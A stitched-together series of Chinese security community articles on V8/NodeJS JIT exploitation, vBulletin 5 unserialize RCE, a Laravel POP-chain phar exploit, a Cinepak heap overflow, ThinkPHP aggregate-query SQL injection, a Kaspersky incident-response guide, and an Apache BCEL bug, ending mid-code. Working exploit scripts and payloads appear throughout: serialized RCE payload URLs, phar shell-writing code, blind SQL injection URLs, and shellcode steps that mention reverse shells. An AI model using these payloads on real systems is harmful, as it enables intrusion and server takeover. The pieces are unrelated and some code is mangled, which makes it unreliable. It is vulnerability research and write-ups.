但是直接这么写，可能会遇到一些问题，程序会crash，因为在漏洞触发后，会把后续的变量都当成对象，如果遇到一个不合法的对象，就报错了。
在上面第二篇paper中，提供了一种方法，在触发漏洞的函数中，修改了Object的原型链：
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
成功触发了以后，获取到我们构造的fake_obj，然后抛出异常，然后再捕获到该异常，这样程序就不会崩溃了。
## 垃圾回收
上面poc中的gc函数需要加上`--expose-gc`参数，那么没有这个参数的环境下要怎么办呢？上面第二篇文章中给出了一个方案：
function gc() {
new ArrayBuffer(0x7fe00000);
}
## 另一种得到RWX内存的方案
在之前的文章中，我们都是采用WASM的方式获取一个RWX内存区域，但是在上面的第二篇文章中，给了另一种方案。
如果`heap->write_protect_code_memory`为0，那么JIT优化的代码会生成RWX内存区域来存放。
示例如下：
function jit(a) {
return a[0];
}
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
其中`write_protect_code_memory_`地址一般在堆的开头，可以通过gdb来搜索该地址。
`jit_turbo_code_addr`地址的偏移也可以通过gdb调试来获取。
## NodeJS的利用
经过研究，该漏洞能影响到NodeJS 16.0.0。
来编写NodeJS的exp的过程中需要注意几点：
1. nodejs没开启地址压缩。
2. 使用%DebugPrint或者%System会影响内存布局，影响利用。
3. 最后利用的shellcode，会发现没有输出，这是因为执行shellcode的文件描述符不对，这个时候可以修改shellcode为reverse shell或者bind shell。
# 参考
1. <https://bugs.chromium.org/p/chromium/issues/detail?id=1195977>
* * * | 社区文章 |
# vBulletin 5 远程命令执行（无需登录）#exp
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**vBulletin 是一个强大,灵活并可完全根据自己的需要定制的论坛程序套件。它使用目前发展速度最快的 Web 脚本语言编写:
PHP,并且基于以高效和疾速著称的数据库引擎 MySQL。**
****
vBulletin
是世界上用户非常广泛的PHP论坛,很多大型论坛都选择vBulletin作为自己的社区。vBulletin高效,稳定,安全,在中国也有很多大型客户,比如蜂鸟网,51团购,海洋部落等在线上万人的论坛都用vBulletin。
vBulletin的官方网站是 <http://www.vBulletin.com> 它不是免费软件,但价格很低。
一个叫Coldzer0的家伙在<http://0day.today>
贩卖vBulletin的RCE,并且在youtube上给出了视频演示,视频中他GOOGLE
dork了几个vBulletin论坛,进行利用。最后要说的是vBulletin主论坛也在周一(11/02/15)的时候被搞了。
vBulletin在/core/vb/api/实现ajax API调用,首先看看hook.php
public function decodeArguments($arguments)
{
if ($args = @unserialize($arguments))
{
$result = '';
foreach ($args AS $varname => $value)
{
$result .= $varname;
显然unserialize没有经过任何过滤就进来了,我来找找他是在哪里调用的。在
/core/vb/db/result.php的vB_dB_Result类实现了一个迭代器
{
...
public function rewind()
{
//no need to rerun the query if we are at the beginning of the recordset.
if ($this->bof)
{
return;
}
if ($this->recordset)
{
$this->db->free_result($this->recordset);
}
rewind()函数是在通过foreach()进行迭代器访问时被调用,接着来看看
/core/vb/database.php里的vB_Database抽象类中free_result()函数
{
...
function free_result($queryresult)
{
$this->sql = '';
return @$this->functions['free_result']($queryresult);
}
这就形成了RCE
poc如下:
$ php << 'eof'
<?php
class vB_Database {
public $functions = array();
public function __construct()
{
$this->functions['free_result'] = 'phpinfo';
}
}
class vB_dB_Result {
protected $db;
protected $recordset;
public function __construct()
{
$this->db = new vB_Database();
$this->recordset = 1;
}
}
print urlencode(serialize(new vB_dB_Result())) . "n";
eof
上面代码运行后返回
O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D
然后针对目标请求
[http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D](http://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D)
就可以看到phpinfo()信息了
**修复方式是使用json_decode()来替代unserialize(),不过话说这个漏洞地下流传已经超过3年了** | 社区文章 |
# PHP反序列化入门之寻找POP链(一)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文以 [**code-breaking**](https://code-breaking.com/) 中 **lumenserial**
为例，练习PHP反序列化 **POP链** 的寻找，题目地址：<https://code-breaking.com/puzzle/7/> 。
## 环境搭建
**运行环境要求**
* PHP >= 7.1.3
* OpenSSL PHP Extension
* PDO PHP Extension
* Mbstring PHP Extension
**安装题目环境**
**运行题目代码**
更多请参考：<https://laravel-china.org/docs/lumen/5.7/installation/2402>
PS：更新P牛制作的docker环境 <https://github.com/phith0n/code-breaking>
## 漏洞点
在 **routes/web.php** 文件中，定义了 **web** 程序的路由，当我们以 **GET** 或 **POST** 方法访问
**<http://website/server/editor>** 的时候，程序就会调用
**app/Http/Controllers/EditorController.php** 类中的 **main** 方法。
我们进而看 **app/Http/Controllers/EditorController.php** 文件，很快便会发现有一个 **download**
方法中的 **$url** 变量没有经过任何处理用在了 **file_get_contents** 函数中， **download** 方法代码如下：
这时我们便考虑 **$url** 变量是否可控，如果可控，便可以利用 **phar反序列化** 。我们回溯寻找 **$url** 变量来源，会发现在
**doCatchimage** 方法中，该变量值是从 **$sources** 变量来。而 **$sources** 变量由用户传来的
**source** 参数决定（通过
**[http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif](http://website/server/editor/?action=Catchimage&source%5B%5D=phar://xxx.gif)**
即可控制 **$url** 变量），相关代码如下：
那么接下来，我们就要寻找可利用的类方法，然后通过 **phar反序列化** 触发漏洞。
## 了解PHPGGC
在寻找 **pop链** 之前，我们不妨先看看 [**phpggc**](https://github.com/ambionics/phpggc) 中已有的
**4种** 关于 **Laravel** 框架 **RCE** 的 **payload** 生成方法，以便我们更快速的找出本题的 **pop链** ，其
**4种** **Laravel** 框架 **RCE** 的 **payload** 生成方法分别如下：
**第1种**
其反序列化时，类方法调用过程如下：
**第2种**
其反序列化时，类方法调用过程如下：
**第3种**
其反序列化时，类方法调用过程如下：
**第4种**
其反序列化时，类方法调用过程如下：
这里我选取 **第1种** 的 **phar反序列化** 执行结果图（题目环境为 **PHP7.1.16** ）：
然而本题目的环境还有一些额外的限制，例如 **PHP** 版本为 **7.2.14** ，且禁用了如下函数和类（这些信息通过 **phpggc** 的第一个
**Laravel** 框架 **RCE** 生成 **phpinfo** 函数的利用 **phar** 即可看到）：
disable_functions：
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
disable_classes：
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
由于在 **PHP7.x** 版本中，很多函数禁止动态调用了，加上上面的这些限制，所以我们还需要寻找其他利用点，结合上述 **POP** 链，完成写
**shell** 。
## 开始寻找pop链
我们可以发现上面的4种 **RCE** 入口点都是从 **PendingBroadcast** 类的 **__destruct**
方法开始的，那么我们着重搜索 **dispatch** 方法和 **__call** 方法。经过一番搜索，发现 **ValidGenerator** 类中的
**__call** 比较好利用。
我们可以看到其代码中先调用了 **call_user_func_array** 函数，然后将 **call_user_func_array**
函数的执行结果又传入 **call_user_func** 函数，只要我们能控制住 **call_user_func_array** 函数的执行结果，相当于
**call_user_func** 函数的两个参数都可控，这样我们便可以调用任意类方法。
我们接着搜索可以用于控制 **call_user_func_array** 函数执行结果的类，这里我找到了 **DefaultGenerator** 类的
**__call** 方法，我们可以看到返回值 **$this- >default** 完全可控。
现在 **call_user_func($this- >validator, $res)** 中的两个参数都可控了。那么如果我们想写shell，就要调用
**file_put_contents** 函数，而这个函数需要两个参数，所以直接通过 **call_user_func**
函数是无法使用该函数的，我们需要通过 **call_user_func_array** 函数来使用 **file_put_contents**
函数，用法形如：
**call_user_func_array(‘file_put_contents’,array(‘shell.php’,’test’))** 。
通过直接搜索 **call_user_func_array** 函数，我们会发现两个比较好利用的类函数。但是这里的第一个
**ClosureWrapper** 类我们无法利用，所以得利用 **ReturnCallback** 类的 **invoke** 方法，具体代码如下：
很明显 **invoke** 方法两个参数都可控，现在我们只要构造好一个 **Invocation** 类对象即可。通过搜索，我们会发现
**Invocation** 是一个接口，那么我们找到他的实现类即可。这里我找到了 **StaticInvocation**
类来实现上诉功能，其代码具体如下：
这样子，我们的整个 **POP链** 就构造好了。下面是 **exp** ：
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
};
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null){
$this->default = $default;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
// __call方法中有call_user_func_array、call_user_func
public function __construct($generator, $validator = null, $maxRetries = 10000)
{
$this->generator = $generator;
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
};
namespace PHPUnitFrameworkMockObjectStub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnitFrameworkMockObjectInvocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);
$returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);
$defaultgenerator = new FakerDefaultGenerator($staticinvocation);
$validgenerator = new FakerValidGenerator($defaultgenerator,array($returncallback,'invoke'),2);
$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($validgenerator,123);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
?>
## 最后
我们再通过下面这张图片，来理清整个 **POP链** 的调用过程。 | 社区文章 |
## **1 分析环境**
操作系统：Window xp sp3
软件 ：Windows Media Player
## **2 基本信息**
漏洞类型：堆溢出
影响范围： Microsoft Windows XP SP2和SP3，Windows Vista SP1和SP2，以及Windows
7中的Cinepak 编码解码器
## **3 漏洞分析**
Poc MD5: d3f51852ae9a37f0a98508bc8e47a9fc
我们首先用Windows Media Player，然后用Windbg附加上
我们在分析堆溢出的时候开启页堆，这里简要的介绍一下页堆，在启动页堆之后，堆管理器会在堆块后面增加专门用于检测溢出的栅栏页，这样一旦用户区数据触及栅栏页便会触发异常，
然后g运行，打开样本，我们看到发生异常，我们看到是在iccvid这个模块中的，取出放到IDA详细看下
我们查看一下栈函数地址。来看一下溢出函数的返回地址为73b7cbfc
我们在IDA中找到这个地址，看到调用溢出函数的地方，我们重新断到这个地方
发现还没有加载这个模块，这个时候我们现在加载模块的时候下个断点
在加载后，我们就可以下断点了，我们先运行到溢出点，来看一下复制到edi的地址属于什么位置
我们再看看整个堆的情况
我们查看peb 发现溢出点发生在进程的默认堆
在学习整个解压缩的过程前，我们首先要对样本的数据的格式要有个了解，我们看看生成poc的python
我们从movi_tag 这个开始看
其中的dc表示压缩的视频帧
我们在来看看索引块
其中最后一个字段0x68表示数据块的大小
我们在来看看函数的伪代码，这个a3 就表示的idx1索引块的0x68，也表示这个数据块必须要大于0x20
在判断完这个数据块的大小之后，就进行解压缩这个数据块的流程中
我们来看一下这个cinepak的结构，主要参考 <https://multimedia.cx/mirror/cinepak.txt>
我们先来看一下整个cinepak的头结构体，对应着cinepak_codec_data1 8个字节
其中标志字节 0x00
数据块长度0x68
编码帧宽度 0x01 0x60
编码帧高度 0x01 0x20
编码条数量 0x00 0x10
我们了解完结构后，可以发现首先发现如下图所说，对两个数据块进行比较
通过后，然后取得编码条数量，并判断是否大于0
之后开始对cinepak_codec_data2的数据进行解析先取得大小，然后跟剩下的进行比较
我们继续来解析cinepak_codec_data2中的数据
编码条ID 0x10 0x00
编码条数据大小 0x00 0x10
顶部Y坐标 0x00 0x00
顶部X坐标 0x00 0x00
底部Y坐标 0x00 0x60
底部X坐标 0x01 0x60
之后开始CVID Chunk块
我们看下POC样本的CVID check块的情况
CVID check ID 0x20 0x00
Chunk 数据大小 0x00 0x00
CVID check ID 0x11 0x00
CVID 数据大小 0x00 0x10
CVID 数据 0x410x410x410x410x410x410x410x410x410x410x410x410x410x410x410x41
CVID check ID 0x11 0x00
CVID 数据大小 0x00 0x10
CVID 数据 0x410x410x410x410x410x410x410x410x410x410x410x410x410x410x410x41
CVID check ID 0x11 0x00
CVID 数据大小 0x00 0x10
CVID 数据 0x410x410x410x410x410x410x410x410x410x410x410x410x410x410x410x41
在清楚了数据格式后，我们再来分析代码
然后取得了cinepak_codec_data2中的编码条数据大小和未解码数据部分进行对比
然后取得编码条ID 和10h进行对比
我们看到第一次并不会进入到拷贝的函数
后面数据帧的长度减去前面保存的chunk的长度
并在一个变量中加上0x2000的长度，供拷贝使用
又返回到比较的这里，由于未解压缩的数据的已经减去了0x10h,这里已经变成了0x4e,这里要保证数据大于16h
之后将数据的长度保存到变量中，后面未解压缩的数据好减去这个数据
后面比较CVID check ID是否是0x11
之后开始进行拷贝，由于样本中一共有三个CVID check ，所以一共拷贝三次，由于V32每次增加0x2000,所以每次拷贝地址增加0x2000
我们看看第一次拷贝的时候edi的情况
我们可以看到整个堆空间只有6000h,在拷贝三次后，发生溢出
第二次拷贝的时候
# **4 漏洞总结**
在拷贝的的时候，可以无限制拷贝，并且堆区只有0x6000,但是每次拷贝的数据为0x2000,可以看到还是有些限制的，比如要保证未解码的数据长度要大于0x16,要保证Chunk
ID为0x1100。在利用放面现在看，并不能精确控制要拷贝的数。 | 社区文章 |
# 前言
一个比较水的漏洞，不介意的师傅将就看看。本来是抱着试一下的心态提交的，但是官方给了确认还及时修补了，国产良心。
感觉唯一的亮点就是TP5中为数不多能够获取到数据的注入。
说是漏洞，更恰当一点应该是安全隐患吧，由于是框架洞，总要结合一些开发人员不够专业的代码才能产生漏洞。
这个聚合查询的漏洞主要影响的版本有
* Thinkphp5 < 5.1.25
* Thinkphp3 < 3.2.4
影响的函数涉及到所有的聚合查询函数
而且，有一点就是，可以看到在TP5中涉及到SQL查询的地方，几乎都用了预编译
而且由于`PDO::ATTR_EMULATE_PREPARES`设置的原因，导致模拟预处理关闭，从而在预编译阶段无法从数据库中获取数据，从而报错退出。从之前爆出的几个TP5漏洞中就能看到，这样一个很大的弊端就是即使注入存在，也无法从数据库中获取到数据。
但是这个漏洞在预编译阶段没有使用占位符，从而不会在预编译阶段报错，从而可以顺利通过注入 **获取到数据** 。
# ThinkPHP5 < 5.1.25
## 漏洞复现
这里创建了一个这样的`user`表
数据库配置请自行配置，然后打开`debug`和`trace`模式（方便查看SQL语句
demo样例
public function index()
{
$count = input('get.count');
$res = db('user')->count($count);
var_dump($res);
}
当访问
http://localhost/tp5.1.25/public/?count=id
就能看到返回了数量`3`
当输入
http://localhost/tp5.1.25/public/?count=id`),(select sleep(5)),(`username
就能看到有明显的五秒的延时
里面改成可以任意的SQL语句，例如通过盲注获取`password`
http://localhost/tp5.1.25/public/?count=id`),(if(ascii(substr((select password from user where id=1),1,1))>130,0,sleep(3))),(`username
## 漏洞分析
跟进到`count`函数中`thinkphp/library/think/db/Query.php:643`
跟进`$count = $this->aggregate('COUNT', $field);`
`thinkphp/library/think/db/Query.php:619`
这里又调用了`$this->connection->aggregate`
注意此时的`$field`字段还是一开始传入的字符，没有任何变化
然后跟进到`thinkphp/library/think/db/Connection.php:1316`中
可以看到这里的经过第一句之后`$field`被组合成了count语句，跟到`parseKey`的函数定义中就能看到具体处理过程
public function parseKey(Query $query, $key, $strict = false)
{
...
$key = trim($key);
if (strpos($key, '->') && false === strpos($key, '(')) {
...
} elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) {
...
}
if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
...
return $key;
}
省略了很多无关的处理函数，可以看到就是简单的通过反引号的字符串相连
$key = '`' . $key . '`';
继续回来到`aggregare`中，跟进`$this->value`，这就是真正执行这条SQL语句的地方
`thinkphp/library/think/db/Connection.php:1252`
可以看到通过 `$this->builder->select($query);`将之前传入的参数直接拼接到了sql语句中
最后形成`$sql`为
SELECT COUNT(`id`),(select sleep(5)),(`username`) AS tp_count FROM `user` LIMIT 1
在`$query->getBind()`的时候是没有需要绑定的参数的，也就避免了后面预编译阶段的报错
最后`$pdo = $this->query($sql, $bind, $options['master'], true);`执行了SQL语句，产生注入
全局搜索`->aggregate`的调用，发现所有的聚合函数都是调用了这个模块，同理也就产生了SQL注入
# ThinkPHP3 < 3.2.4
## 漏洞复现
数据库配置和TP5中一致，也要打开`debug`和`trace`信息
demo样例
public function index()
{
$count = I('get.count');
$m = M('user')->count($count);
dump($m);
}
这里的payload和TP5中的有一点点的不一样，不过也差不多
http://localhost/tp3.2.4/?count=id),(select password from user where id=1),(username
可以看到直接注入出了数据
## 漏洞分析
没啥好分析的了，和TP5类似，就是少了一个反引号的差别
# 漏洞修复
官方很机智的在`parseKey`中加入了正则校验，不符合这个校验就会抛出异常 | 社区文章 |
# 【技术分享】卡巴斯基事件响应指南读后感
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
前几天卡巴斯基发布了一个安全事件响应指南的文档，具体内容可以参看阅读原文链接。通读了一遍，感觉这是一个非常基础的过程介绍比较完整的指导资料，适合网络管理员和初级安全事件响应人员阅读。文档里当然也夹带了不少卡巴斯基的私货，本质上这是一个有点干货的市场材料，内容上主要有以下几部分构成：
1\. 术语和定义。文档涉及到的多个基本概念的解释，并不学术化，易懂。
2\. 洛克希德马丁的Kill Chain介绍。未知攻，焉知防，对攻击者的基本套路有个了解。
3\. 推荐的事件响应基本步骤：准备、识别、隔离、清除、恢复、反思。
4\. 基于一个虚构事件的响应处理案例细节演示。
5\. 推荐相关的工具：IOC收集、取证处理、分析、清除。
其实读下来给我最大的感觉就是IOC的作用，IOC这个词在文档中出现了50多次，基本上整个事件响应事实上是由IOC作为起点驱动的，也就是说由威胁情报驱动事件响应。现在大家都在谈安全的新潮流，出去开会讲个议题不提个机器学习人工智能都不好意思跟人打招呼，创业做安全没个ML/AI加持都拉不到投资。可是，事实上IOC这种低层次的威胁情报对安全能力不强的组织机构才是最有效的发现安全事件的手段，没有之一，而提供精准有效上下文丰富的IOC类威胁情报正是360威胁情报中心所做的。就在一两年前，参加安全相关的展会，进场遍地的威胁情报搭边的Slogan，今年看Blackhat，基本没有了，大家都在谈机器学习和异常检测了，但是几乎所有的检测类产品都集成了可输入的威胁情报，这个东西在大家都不谈的时候开始真正落地了。
总体来说，卡巴斯基的这个指南文档内容中规中矩，但细节不丰富，是一个入门读物，要形成对应的工作能力需要看更多的资料和实践。但是，文档中关于事件触发器的部分感觉很有价值，简单翻译如下供实在没时间读文档原文的同行参考。
**事件触发器（Incident Trigger）**
事件触发器是这样一个事件，它的出现指示着网络中发生了现实的危害。当这类事件出现时，事件响应团队应该意识到网络中存在进行中的攻击活动，事件触发器从这个意义上来说区别于一般性的网络活动事件。
防病毒系统产生的事件触发器
防病毒管理系统从终端可以汇集事件信息，当一个终端发现威胁产生事件会发到防病毒管理系统。但并不是所有的事件都是事件触发器，比如一个发现恶意代码的事件紧接着一个清除成功事件就不算一个需要响应的事件。
仅有以下情况产生告警事件：
**连接至已知的C &C**
**恶意代码查杀失败**
**同一台计算机中反复检测到恶意代码**
**防病毒系统报错和故障导致保护级别的降低**
**可以作为事件触发器的可疑活动**
有些异常迹象也可以作为事件触发器，那些活动的出现需要安全团队加入关注并进行调查，以下是一些例子：
**操作系统启动时有未知的软件自动跟随启动**
**在系统服务列表中存在未知的服务**
**可执行文件从特定目录中执行，而该操作系统理论上不太可能从那些目录中启动程序，如系统缓存和临时目录**
**从不太可能存放程序库文件的目录加载程序库，比如从某个软件的安装目录中加载一个系统程序库文件**
**未预期的用户权限提升操作**
**虽然是合法的但非常有可能为攻击者所用的软件的存在，比如mimikatz、Windows Credentials Editor及其他远控工具**
以下可疑网络行为也可以触发作为事件触发器：
**非预期的DNS和ICMP流量飙升**
**与频繁更改IP地址的域名进行通信，该行为可能表明攻击者使用Fast-Flux DNS技术通过把入侵后的机器作为代理来隐藏C＆C服务器**
**与卡巴斯基实验室威胁情报数据中包含的URL进行通信，比如那个URL被分类为恶意Exploit Kit的Landing Page**
**与卡巴斯基实验室威胁情报数据中包含的IP地址进行通信，比如那个IP被分类为扫描源或被用于执行DDOS攻击**
**与包含可疑Whois信息的域名进行交互**
以上列举的这些异常迹象其实可以作为Threat
Hunting的起点，对于有经验的攻防分析人员其实可以举出更多的场景出来。今年的BlackHat展会上Splunk在他们的展台上就讲了两个通过搜索不常见的主机行为来发现未知攻击的思路，其实很简单，就是通过检索少见的进程链和少见的执行文件路径搜索微软Sysmon框架输出的进程日志来实现检测，360威胁情报中心在内部的Threat
Hunting实践中也采用过类似的思路发现了定向攻击事件。
阅读原文链接：<https://cdn.securelist.com/files/2017/08/Incident_Response_Guide_eng.pdf> | 社区文章 |
## 前言
Apache Commons BCEL旨在为用户提供一种方便的方法来分析、创建和操作（二进制）Java 类文件（以 .class
结尾的文件）。类由包含给定类的所有符号信息的对象表示：特别是方法、字段和字节码指令。
这些对象可以从现有文件中读取，由程序（例如运行时的类加载器）转换并再次写入文件，一个更有趣的应用是在运行时从头开始创建类
BCEL 包含一个名为 JustIce 的字节码验证器，它通常会为您提供比标准 JVM 消息更好的关于代码错误的信息。
## 漏洞概述
首先看看apache list中的解释
Apache Commons BCEL 有许多通常只允许更改特定类特征的 API。但是，由于越界写入问题，这些 API
可用于生成任意字节码。这可能会在将攻击者可控制的数据传递给这些 API 的应用程序中被滥用，从而使攻击者能够比预期更多地控制生成的字节码
## 影响版本
< 6.6.0
## 漏洞分析
在这里我们可以看到漏洞的细节
<https://github.com/apache/commons-bcel/pull/147>
我们首先来了解一下bcel的用法
查看官方文档
[Apache Commons BCEL™ – Home](https://commons.apache.org/proper/commons-bcel/index.html)
我们从上面的修复位置可以知道主要是在常量池的位置造成的越界写入漏洞
我们直接关注到常量池的解释中去
在`ClassGen`中
该类是用来构建 Java 类的模板类。可以使用现有的 java 类（文件）进行初始化
而这个类是在`org.apache.bcel.generic`包下的一个类，这个包提供了一个用于动态创建或转换类文件的抽象级别。它使 Java
类文件的静态约束（如硬编码的字节码地址）变得“通用”。例如，通用常量池由类 ConstantPoolGen
实现，该类提供添加不同类型常量的方法。因此，ClassGen 提供了一个接口来添加方法、字段和属性
对于`ConstantPoolGen`这个类用于构建常量池。用户通过“addXXX”方法、“addString”、“addClass”等方法添加常量。这些方法返回常量池的索引。最后，`getFinalConstantPool()'
返回建立起来的常量池。
该类中设计了多个addxxx方法可以添加不同类型的常量
最后通过调用`getFinalConstantPool`方法获取创建的常量池
之后通过调用`ClassGen`的相关API进行接下来的操作
看一下官方给出的关系图
对于漏洞的触发点，我们可以通过查看commit
在修复前，在对给定的常量数组进行初始化的时候，并没有限制传入的常量数组`cs`的大小
只是在默认的BUFFER大小为`256`和在传入的常量数组长度+64之后去了个最大的值作为了size
如果这时候传入的cs数组+64是大于65535这个临界值的时候将会导致越界漏洞的产生
所以对于漏洞的利用只需要在常量数组中前面写入足够长的垃圾数据，后面写入恶意常量数据，将会在通过`getFinalConstantPool`方法返回对应的`ConstantPool`对象之后调用其`dump`方法从二进制流到文件流的转换
就能够成功写入文件了
## 漏洞利用
我们可以简单写一个demo来通过Apache Commons BCEL API动态生成一个HelloWorld.class文件
package pers.bcel;
import org.apache.bcel.generic.*;
import org.aspectj.apache.bcel.Constants;
import static org.apache.bcel.Const.ACC_PUBLIC;
import static org.apache.bcel.Const.ACC_SUPER;
import static org.apache.bcel.Constants.ACC_STATIC;
public class TestBcel {
public static void main(String[] args) {
try {
// BCEL Appendix A example
// ClassGen(String class_name, String super_class_name, String
// file_name, int access_flags, String[] interfaces)
ClassGen cg = new ClassGen("HelloWorld", "java.lang.Object",
"<generated>", ACC_PUBLIC | ACC_SUPER, null);
ConstantPoolGen cp = cg.getConstantPool();
InstructionList il = new InstructionList();
// create main method
// MethodGen(int access_flags, Type return_type, Type[] arg_types,
// String[] arg_names, String method_name, String class_name,
// InstructionList il, ConstantPoolGen cp)
MethodGen mg = new MethodGen(ACC_STATIC | ACC_PUBLIC, Type.VOID,
new Type[] { new ArrayType(Type.STRING, 1) },
new String[] { "argv" }, "main", "HelloWorld", il, cp);
LocalVariableGen lg = null;
InstructionFactory factory = new InstructionFactory(cg);
// define some often used types
ObjectType i_stream = new ObjectType("java.io.InputStream");
ObjectType p_stream = new ObjectType("java.io.PrintStream");
//%%
//BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
//%%
// create variables in and name
il.append(factory.createNew("java.io.BufferedReader"));
il.append(InstructionConstants.DUP);
il.append(factory.createNew("java.io.InputStreamReader"));
il.append(InstructionConstants.DUP);
//init input stream
il.append(factory.createFieldAccess("java.lang.System", "in",
i_stream, Constants.GETSTATIC));
// for (int j = 0; j < 21845; j++) {
// il.append(factory.createFieldAccess("java.lang.System", "in", i_stream, Constants.GETSTATIC));
// }
il.append(factory.createInvoke("java.io.InputStreamReader",
"<init>", Type.VOID, new Type[] { i_stream },
Constants.INVOKESPECIAL));
il.append(factory.createInvoke("java.io.BufferedReader", "<init>",
Type.VOID, new Type[] { new ObjectType("java.io.Reader") },
Constants.INVOKESPECIAL));
//add in into the local variable pool and get the index automatically
lg = mg.addLocalVariable("in", new ObjectType(
"java.io.BufferedReader"), null, null);
int in = lg.getIndex();//index of "in" var
lg.setStart(il.append(new ASTORE(in)));//store the reference into local variable
//首先创建对象，并初始化，操作结果在JVM的“堆”里，还需要在本地变量表中创建引用，因此在本地变量表中添加一个“in”比那辆，
//然后根据索引值调用“astore”指令，即可将对象引用赋值给本地变量
/*
0: new #8; //class java/io/BufferedReader
3: dup
4: new #10; //class java/io/InputStreamReader
7: dup
8: getstatic #16; //Field java/lang/System.in:Ljava/io/InputStream;
11: invokespecial #20; //Method java/io/InputStreamReader."<init>":(Ljava/io/InputStream;)V
14: invokespecial #23; //Method java/io/BufferedReader."<init>":(Ljava/io/Reader;)V
17: astore_1
* */
//%%
//String name = null;
//%%
// create local variable name and init it to null
lg = mg.addLocalVariable("name", Type.STRING, null, null);
int name = lg.getIndex();
il.append(InstructionConstants.ACONST_NULL);//add "null" to the stack top
lg.setStart(il.append(new ASTORE(name)));//"store" the value of "null" into "name" var
//%%
//System.out.print("Please enter your name> ")
//%%
// create try_catch block
InstructionHandle try_start = il.append(factory.createFieldAccess(
"java.lang.System", "out", p_stream, Constants.GETSTATIC));
//从常量池中取出“please .....”，压入栈顶：这里感觉有问题，这个字符串常量应该先压入常量池才可以（最好是在这之前加一句，
//加一句添加常量池操作其实并不影响实际运行的效率）
il.append(new PUSH(cp, "Please enter your name> "));
il.append(factory.createInvoke("java.io.PrintStream", "print",
Type.VOID, new Type[] { Type.STRING },
Constants.INVOKEVIRTUAL));
//%%
//name = in.readLine();
//%%
//将本地变量“in”推送至栈顶
il.append(new ALOAD(in));
il.append(factory.createInvoke("java.io.BufferedReader",
"readLine", Type.STRING, Type.NO_ARGS,
Constants.INVOKEVIRTUAL));//调用readLine()方法
il.append(new ASTORE(name));//接收的结果在栈顶，需要保存，因此加上保存到“name”slot的指令
//%%
// } catch(IOException e) { return; }
//%%
GOTO g = new GOTO(null);
InstructionHandle try_end = il.append(g);
//add return：如果出异常，才会走到这条“return”指令，并返回到caller中
InstructionHandle handler = il.append(InstructionConstants.RETURN);
// add exception handler which returns from the method
mg.addExceptionHandler(try_start, try_end, handler, null);
//%%
//没有异常，继续执行：System.out.println("Hello, " + name);
//%%
// "normal" code continues, set the branch target of the GOTO
InstructionHandle ih = il.append(factory.createFieldAccess(
"java.lang.System", "out", p_stream, Constants.GETSTATIC));
g.setTarget(ih);
// print "Hello"：创建一个StringBuffer对象，通过调用StringBuffer的append操作，实现
//string1 + string2的操作，并且操作结果调用toString方法
il.append(factory.createNew(Type.STRINGBUFFER));
il.append(InstructionConstants.DUP);
il.append(new PUSH(cp, "Hello, "));
il.append(factory.createInvoke("java.lang.StringBuffer", "<init>",
Type.VOID, new Type[] { Type.STRING },
Constants.INVOKESPECIAL));
il.append(new ALOAD(name));
il.append(factory.createInvoke("java.lang.StringBuffer", "append",
Type.STRINGBUFFER, new Type[] { Type.STRING },
Constants.INVOKEVIRTUAL));
//
il.append(factory.createInvoke("java.lang.StringBuffer",
